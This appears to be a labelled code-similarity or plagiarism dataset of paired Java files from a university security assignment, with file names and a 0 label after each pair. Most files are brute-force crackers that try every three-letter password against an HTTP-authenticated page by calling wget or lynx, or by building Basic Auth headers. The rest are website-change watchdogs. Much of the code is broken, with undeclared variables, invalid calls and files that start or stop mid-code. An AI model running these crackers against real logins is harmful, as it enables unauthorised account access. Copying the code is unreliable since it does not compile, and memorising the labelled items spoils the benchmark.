pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++){ for(int k=0;k<pos.length;k++){ pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ----Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println("Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } } class SmallLetterThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++) { for(int k=0;k<pos.length;k++) { pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ----Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println("Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
154.java
197.java
0
import java.io.*; import java.util.StringTokenizer; import java.net.smtp.SmtpClient; import java.util.Timer; import java.util.TimerTask; public class WatchDog { public static void main(String[] args) { try { Process y = Runtime.getRuntime().exec("./init"); } catch (Exception e) {System.err.println(e);} WatchDog poodle=new WatchDog(); { poodle.startWatch(); } while(1==1); } public void startWatch() { String error_mes=new String(); String mesg=new String(); String url="wget -p http://www.cs.rmit.edu./students"; try { Process a = Runtime.getRuntime().exec(url); } catch (Exception e) {System.err.println(e);} try { Process b = Runtime.getRuntime().exec("diff org/images/ www.cs.rmit.edu./images/"); BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream())); while ((error_mes = stdInputimages.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} try { Process c = Runtime.getRuntime().exec("diff org/students/ www.cs.rmit.edu./students/"); BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream())); while ((error_mes = stdInputindex.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} if (mesg.length()>0) { sendEmail(mesg); } try { Thread.sleep(60*60*24*1000); } catch(Exception e) { } } public void sendEmail(String message) { { String reciever = "@cs.rmit.edu."; String sender = "WATCHDOG@cs.rmit.edu."; try { SmtpClient smtp = new SmtpClient(); smtp.from(sender); smtp.to(reciever); PrintStream msg = smtp.startMessage(); msg.println(message); smtp.closeServer(); } catch (Exception e) {} } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
038.java
197.java
0
public class CrackingConstants { public static final int quietMode = 0; public static final int verboseMode1 = 1; public static final int verboseMode2 = 2; public static final int simpleScan = 0; public static final int casedScan = 1; public static final int notFound = -1; public static final String [] lowerChars = {"a", "e", "i", "o", "u", "y", "b", "c","d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "\'", "`", ".", ",", "!", "\"", "&" }; public static final String [] upperChars = {"A", "E", "I", "O", "U", "Y", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "\'", "`", ".", ",", "!", "\"", "&" }; public static final int punctuationUpperBound = 42; public static final int punctuationLowerBound = 36; public static final int numbersUpperBound = 35; public static final int numbersLowerBound = 26; public static final int consonantUpperBound = 25; public static final int consonantLowerBound = 6; public static final int vowelUpperBound = 5; public static final int vowelLowerBound = 0; public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound) { if(lowerChars.length < upperSearchBound) upperSearchBound = lowerChars.length; if(0 > lowerSearchBound) lowerSearchBound = 0; for(int i = lowerSearchBound; i < upperSearchBound; i++) { if(lowerChars[i].indexOf(letter) > -1) return i; if(upperChars[i].indexOf(letter) > -1) return i; } return notFound; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
000.java
197.java
0
import java.io.*; class BruteForce{ public static void main (String args[]){ URLHack uh = new URLHack(); String pas,pas1,pas2,pas3; String passs; for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 97; k <= 122; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } System.exit(0); for(int i = 65; i <= 90; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <= 122; j++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); passs= pas1+pas2; uh.crackIt(passs); } } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+ " http://sec-crack.cs.rmit.edu./SEC/2/"); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println("Invalid Password " +paas); else { System.out.println("BINGO " + paas); System.exit(0); } } catch(Exception e){ System.out.println(" ERROR "+e); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
056.java
197.java
0
class BruteForce { public static void main (String []a)throws Exception { PasswordGen p1,p2,p3,p4,p5,p6,p7,p8; int count=1; p1=new PasswordGen(1,"1"); p2=new PasswordGen(2,"2"); p3=new PasswordGen(3,"3"); p4=new PasswordGen(4,"4"); p5=new PasswordGen(5,"5"); p6=new PasswordGen(6,"6"); p7=new PasswordGen(7,"7"); p8=new PasswordGen(8,"8"); p1.t.join(); p2.t.join(); p3.t.join(); p4.t.join(); p5.t.join(); p6.t.join(); p7.t.join(); p8.t.join(); } } class PasswordGen implements Runnable { char upperAlpha[] =new char[26]; char lowerAlpha[]=new char[26]; char lowerChar='a',upperChar='A'; String passwd1; int threadNumber=0; static boolean successFlag=false; Thread t; static String crackedPasswd=""; PasswordGen(int Number,String name) { for(int i=0;i<26;i++) { upperAlpha[i]=upperChar; lowerAlpha[i]=lowerChar; upperChar++; lowerChar++; } this.threadNumber=Number; t= new Thread(this,name); t.exec(); } public void run() { int i,j,k; String url; int exitValue=-1; int startTime=0,finishTime=0; int noAttempts=0; try { switch(threadNumber) { case 1: startTime=System.currentTimeMillis(); for(i=25;i>=0;i--) { for( j=25;j>=0;j--) { for( k=25;k>=0;k--) { try { if(successFlag)break; passwd1=""+lowerAlpha[i]+""+lowerAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 2: for(i=0;i<=25;i++) { for( j=0;j<=25;j++) { for( k=0;k<=25;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+lowerAlpha[j]+""+upperAlpha[k]; url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; System.out.println(passwd1); exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 3: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+upperAlpha[j]+""+lowerAlpha[k]; url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; System.out.println(passwd1); exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 4: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+upperAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 5: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+lowerAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 6: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+lowerAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue== 0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 7: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+upperAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e) { System.out.println(e); } } } } break; case 8: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+upperAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; } } catch(Exception e ){System.out.println();} } int executemyurl(String url) throws Exception { Process p; Runtime r=Runtime.getRuntime(); p=r.exec(url); p.waitFor(); r.freeMemory(); r.gc(); return p.exitValue(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
027.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; public class WatchDog { private Vector init; public WatchDog() { try { Runtime run = Runtime.getRuntime(); String command_line = "lynx http://www.cs.rmit.edu./students/ -dump"; Process result = run.exec(command_line); BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream())); String inputLine; init = new Vector(); while ((inputLine = in.readLine()) != null) { init.addElement(inputLine); } }catch(Exception e) { } } public static void main(String args[]) { WatchDog wd = new WatchDog(); wd.nextRead(); } public void nextRead() { while(true) { ScheduleTask sch = new ScheduleTask(init); if(sch.getFlag()!=0) { System.out.println("change happen"); WatchDog wd = new WatchDog(); wd.nextRead(); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
213.java
197.java
0
import java.io.*; import java.util.*; public class getImage { private FileWriter fw; public getImage() {} public void translogFile(String[] result) { String fileName = "ImageList.txt"; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } public void translogFile1(String[] result) { String fileName = "JpgGifList.txt"; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } public void tokenFile(String fileName) { String tuteId=""; String aWord=""; String bWord=""; String cWord=""; String line=null; String[] myArray = new String[10]; String[] myArrayB = new String[10]; boolean studFlag=false; int j=0; int i=0; try { BufferedReader inputStream= new BufferedReader(new FileReader(fileName)); line=inputStream.readLine(); while (line!= null) { StringTokenizer word= new StringTokenizer(line," '\"' "); while (word.hasMoreTokens()) { aWord=word.nextToken(); if(aWord.endsWith("gif") || aWord.endsWith("jpg")) { if(!aWord.startsWith("http")) { bWord = "http://www.cs.rmit.edu."+aWord; myArray[j++]=bWord; System.out.println(bWord); StringTokenizer word1= new StringTokenizer(aWord,"/"); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith("gif") || cWord.endsWith("jpg")) { myArrayB[i++]=cWord; } } } else { myArray[j++]=aWord; System.out.println(aWord); StringTokenizer word1= new StringTokenizer(aWord,"/"); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith("gif") || cWord.endsWith("jpg")) { myArrayB[i++]=cWord; } } } } } line=inputStream.readLine(); } translogFile(myArray); translogFile1(myArrayB); inputStream.close(); } catch(FileNotFoundException e) { System.err.println("File "+fileName+" was not found"); } catch(IOException e) { System.err.println("Error "); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
242.java
197.java
0
import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); System.out.println("Trying again with new password"); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println("Trying again with new password"); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""; c1 = j1+""; c2 = k1+""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; 